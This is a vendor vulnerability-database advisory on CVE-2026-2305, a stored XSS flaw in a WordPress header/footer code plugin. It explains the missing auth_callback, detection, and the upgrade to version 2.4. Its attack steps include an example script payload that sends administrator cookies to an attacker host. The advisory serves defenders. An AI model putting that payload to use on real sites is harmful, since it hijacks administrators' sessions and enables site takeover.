The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-2305

CVE-2026-2305: AddFunc Head & Footer Code XSS Vulnerability

CVE-2026-2305 is a stored cross-site scripting vulnerability in the AddFunc Head & Footer Code WordPress plugin, allowing contributors to inject malicious scripts. This article covers technical details, affected versions, and mitigation.

Published: April 17, 2026

CVE-2026-2305 Overview

The AddFunc Head & Footer Code plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in all versions up to and including 2.3. This vulnerability exists in the aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code post meta values, which are output without proper sanitization or escaping. While the plugin restricts its own metabox and save handler to administrators via current_user_can('manage_options'), it fails to use register_meta() with an auth_callback to protect these meta keys. This allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts through the WordPress Custom Fields interface.

Critical Impact

Authenticated attackers with low-privilege accounts (Contributor-level) can inject malicious JavaScript that executes when an administrator previews or views the affected post, potentially leading to session hijacking, administrative account compromise, or further site takeover.

Affected Products

  • AddFunc Head & Footer Code plugin for WordPress versions up to and including 2.3

Discovery Timeline

  • 2026-04-10 - CVE CVE-2026-2305 published to NVD
  • 2026-04-13 - Last updated in NVD database

Technical Details for CVE-2026-2305

Vulnerability Analysis

This Stored Cross-Site Scripting vulnerability arises from a common WordPress plugin security oversight: the separation between UI-level access controls and data-level access controls. The plugin properly restricts its custom metabox interface to administrators using current_user_can('manage_options'), but this protection only covers the plugin's own UI. It does not prevent lower-privileged users from manipulating the underlying post meta values through WordPress's native Custom Fields interface.

The core issue is that the plugin outputs the aFhfc_head_code, aFhfc_body_code, and aFhfc_footer_code meta values directly into the page without sanitization or escaping. When an attacker with Contributor-level access creates or edits a post using the WordPress Custom Fields interface, they can inject malicious JavaScript payloads into these meta fields. The malicious code then executes in the browser context of any administrator who previews or views that post.

Root Cause

The root cause is the absence of an auth_callback when registering the custom post meta fields using register_meta(). Without this callback, WordPress does not enforce authorization checks when these meta values are modified through alternative interfaces like the Custom Fields UI. Additionally, the plugin fails to sanitize or escape the meta values before outputting them in the HTML head, body, or footer sections of the page. The vulnerable code can be found at lines 63, 74, and 85 of the plugin file.

Attack Vector

The attack requires network access and low-privilege authentication (Contributor-level account). An attacker would:

  1. Log into the WordPress site with a Contributor or higher-level account
  2. Create or edit a post and access the Custom Fields interface (may need to be enabled in Screen Options)
  3. Add a new custom field with the meta key aFhfc_head_code, aFhfc_body_code, or aFhfc_footer_code
  4. Set the value to a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>)
  5. Save the post as a draft or submit for review
  6. When an administrator previews or views the post, the injected script executes in their browser context

This attack does not require any user interaction beyond the administrator viewing the compromised post, which is a normal administrative workflow activity.

Detection Methods for CVE-2026-2305

Indicators of Compromise

  • Unexpected or unauthorized values in aFhfc_head_code, aFhfc_body_code, or aFhfc_footer_code post meta fields
  • Posts created by low-privilege users containing custom field entries for these meta keys
  • JavaScript payloads or script tags present in post meta values for these specific keys
  • Suspicious outbound connections or cookie exfiltration attempts from administrator browsers

Detection Strategies

  • Monitor WordPress database for modifications to post meta entries with keys aFhfc_head_code, aFhfc_body_code, or aFhfc_footer_code by non-administrator users
  • Implement Web Application Firewall (WAF) rules to detect XSS payloads in form submissions
  • Review WordPress audit logs for custom field modifications by Contributor or Author-level accounts
  • Deploy browser-based XSS detection tools for administrator sessions

Monitoring Recommendations

  • Enable comprehensive WordPress activity logging including post meta changes and user attribution
  • Configure alerts for any Custom Fields modifications by users without manage_options capability
  • Implement Content Security Policy (CSP) headers to limit script execution sources and detect violations
  • Regularly audit installed plugin versions against known vulnerability databases

How to Mitigate CVE-2026-2305

Immediate Actions Required

  • Update AddFunc Head & Footer Code plugin to version 2.4 or later immediately
  • Audit all existing posts for potentially malicious content in the affected meta fields
  • Review user accounts with Contributor-level access or above for suspicious activity
  • Consider temporarily restricting the Custom Fields interface to administrators only

Patch Information

The vulnerability has been addressed in version 2.4 of the AddFunc Head & Footer Code plugin. The fix can be reviewed in the WordPress Plugin Version Change Log. For additional vulnerability details, see the Wordfence Vulnerability Report.

Workarounds

  • Disable the Custom Fields interface for non-administrator users by removing it from the post editor screen
  • Implement custom authorization checks using WordPress filters to prevent meta value modifications by unauthorized users
  • Use a security plugin that provides meta field access controls
  • Remove the vulnerable plugin entirely if the functionality is not essential
bash
# Configuration example
# Add to wp-config.php or a custom plugin to disable Custom Fields for non-admins
# This is a temporary workaround until the plugin can be updated

# In functions.php or a custom plugin:
# add_action('admin_init', function() {
#     if (!current_user_can('manage_options')) {
#         remove_meta_box('postcustom', 'post', 'normal');
#         remove_meta_box('postcustom', 'page', 'normal');
#     }
# });

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechWordpress

  • SeverityMEDIUM

  • CVSS Score6.4

  • EPSS Probability0.05%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Technical References
  • WordPress Plugin Code Line 63

  • WordPress Plugin Code Line 74

  • WordPress Plugin Code Line 85

  • WordPress Plugin Trunk Line 63

  • WordPress Plugin Trunk Line 74

  • WordPress Plugin Trunk Line 85

  • WordPress Plugin Version Change Log

  • Wordfence Vulnerability Report
  • Related CVEs
  • CVE-2026-6504: Royal Elementor Addons XSS Vulnerability

  • CVE-2026-6174: CC Child Pages WordPress Plugin XSS Flaw

  • CVE-2026-6252: Meta Field Block WordPress Plugin XSS Flaw

  • CVE-2026-3694: Bold Page Builder WordPress XSS Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English